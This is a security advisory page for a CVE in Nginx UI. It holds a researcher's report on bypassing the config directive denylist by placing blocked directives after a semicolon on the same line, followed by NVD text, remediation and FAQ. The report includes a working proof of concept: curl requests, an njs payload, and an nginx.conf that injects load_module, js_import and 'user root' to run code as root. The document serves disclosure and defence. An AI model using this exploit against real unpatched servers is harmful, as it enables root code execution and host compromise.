CVE-2026-84316: Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)
Summary config.ValidateConfigFile is the security control that blocks dangerous nginx directives (js, perl, loadmodule of njs/perl modules, user root). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked directive after a ; on the SAME line defeats every check. The include directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST config modify endpoint (api/config/modify.go), the MCP nginxconfigmodify tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngxhttpjsmodule.so), this leads to code execution in the nginx worker; with user root the workers run as root.
This is distinct from the configadd gap (the MCP nginxconfigadd tool not calling the validator at all): here the validator IS called and still bypassed, so fixing configadd does not fix this.
Root cause (internal/config/validation.go, ValidateConfigDirectives) go for , line := range bytes.Split(content, []byte("\n")) { // splits on \n only trimmed := strings.TrimSpace(string(line)) ... directive := firstDirectiveToken(trimmed) // first [a-zA-Z] of the line if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token if directive == "loadmodule" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token if , blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token } nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a. include is absent from blockedConfigDirectives.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile.
1) Baseline — validator works on a plain line: curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"x.conf","basedir":"","content":"jsimport a.js;","overwrite":true}' -> 40017 "file content contains restricted nginx directive: jsimport" (REJECTED)
2) Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent): poc.conf: import fs from 'fs'; function pwn(r){ fs.writeFileSync('/tmp/NJSVIADENYLISTBYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); } export default { pwn }; curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"poc.conf","basedir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED
3) Overwrite the main nginx.conf via the VALIDATED nginxconfigmodify MCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile): nginx workerprocesses 1; loadmodule /usr/lib/nginx/modules/ngxhttpjsmodule.so; errorlog /var/log/nginx/error.log notice; user root; pid /run/nginx.pid; events { workerconnections 1024; } http { include /etc/nginx/mime.types; defaulttype application/octet-stream; jsimport poc from /etc/nginx/poc.conf; server { listen 8897; location = /pwn3 { jscontent poc.pwn; } } }
4) Reload. Result: - nginx -t successful. - worker /proc/<pid>/status → Uid: 0 0 0 0 (root) — the blocked user root took effect. - GET http://127.0.0.1:8897/pwn3 → pwned2 — jscontent executed. - /tmp/NJSVIADENYLISTBYPASS.txt created, owned by root → njs code execution as root.
(An MCP-over-SSE client for steps using nginxconfigmodify is included in the configadd report as pocmcpclient.py; the same client drives this PoC. X-Node-Secret authenticates both REST and MCP.)
Impact Authenticated config-injection that defeats the directive-validation control on all guarded write paths. On deployments with njs/perl available (the official Docker image ships ngxhttpjsmodule.so): code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed reload) plus user root privilege regression.
Honest scope / caveats - Authenticated (node secret or user JWT), agent-mediated — not unauthenticated. - What was live-verified: the bypass + full RCE on POST /api/configs (add) and the MCP nginxconfigmodify tool. The other callers — REST config modify (api/config/modify.go), site save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME ValidateConfigFile (code-confirmed), so they are affected by construction; I did not individually live-test each. - RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. On stock nginx without those modules the injected loadmodule/js make reload fail → DoS plus a user root privilege regression (inferred from nginx module behavior; not separately tested on a stock build). - The ; and include bypasses are fully confirmed live. A backslash line-continuation variant was accepted by the validator but its nginx parsing was not separately confirmed and is not relied on. - "Full host compromise" describes the capability of root file read/write via njs fs (proven: a root-owned file was written); the subsequent authorizedkeys/cron step is a well-known escalation, not something this PoC executed.
Suggested fix Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on ; (and handle blocks, comments, line continuations), validate EVERY statement, block/limit include, and recurse into included files — or validate via an allowlist and/or by running nginx -t on the candidate before activating it.
Dedup / novelty Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported configadd validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.
Other sources
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted loadmodule, jsimport, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginxconfigmodify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/0xJacky/Nginx-UIto a version that resolves this vulnerability.Fixed in 1.9.10-0.20260703131214-23d1934099b0 - Upgrade
Upgrade
Nginx UIto a version that resolves this vulnerability.Fixed in 2.4.1
Event History
Frequently Asked Questions
Who can exploit this issue?
An authenticated Nginx UI caller who can use configuration-writing functionality is required. The affected write paths include REST, nginx_config_modify, site, and stream operations.
What conditions make code execution possible?
The validation bypass permits injection of restricted directives, including load_module, js_import, perl, and user root, as well as loading restricted content through an unrestricted include directive. Code execution in the Nginx worker context is possible when an executable module is available.
Which deployments are affected and what version fixes it?
Nginx UI versions prior to 2.4.1 are affected. Version 2.4.1 fixes the issue.
How can an administrator identify potentially malicious configuration changes?
Review configuration written through Nginx UI for multiple semicolon-separated directives on a single line, especially where a benign first directive is followed by load_module, js_import, perl, or user root. Also inspect include directives for loading content containing restricted directives.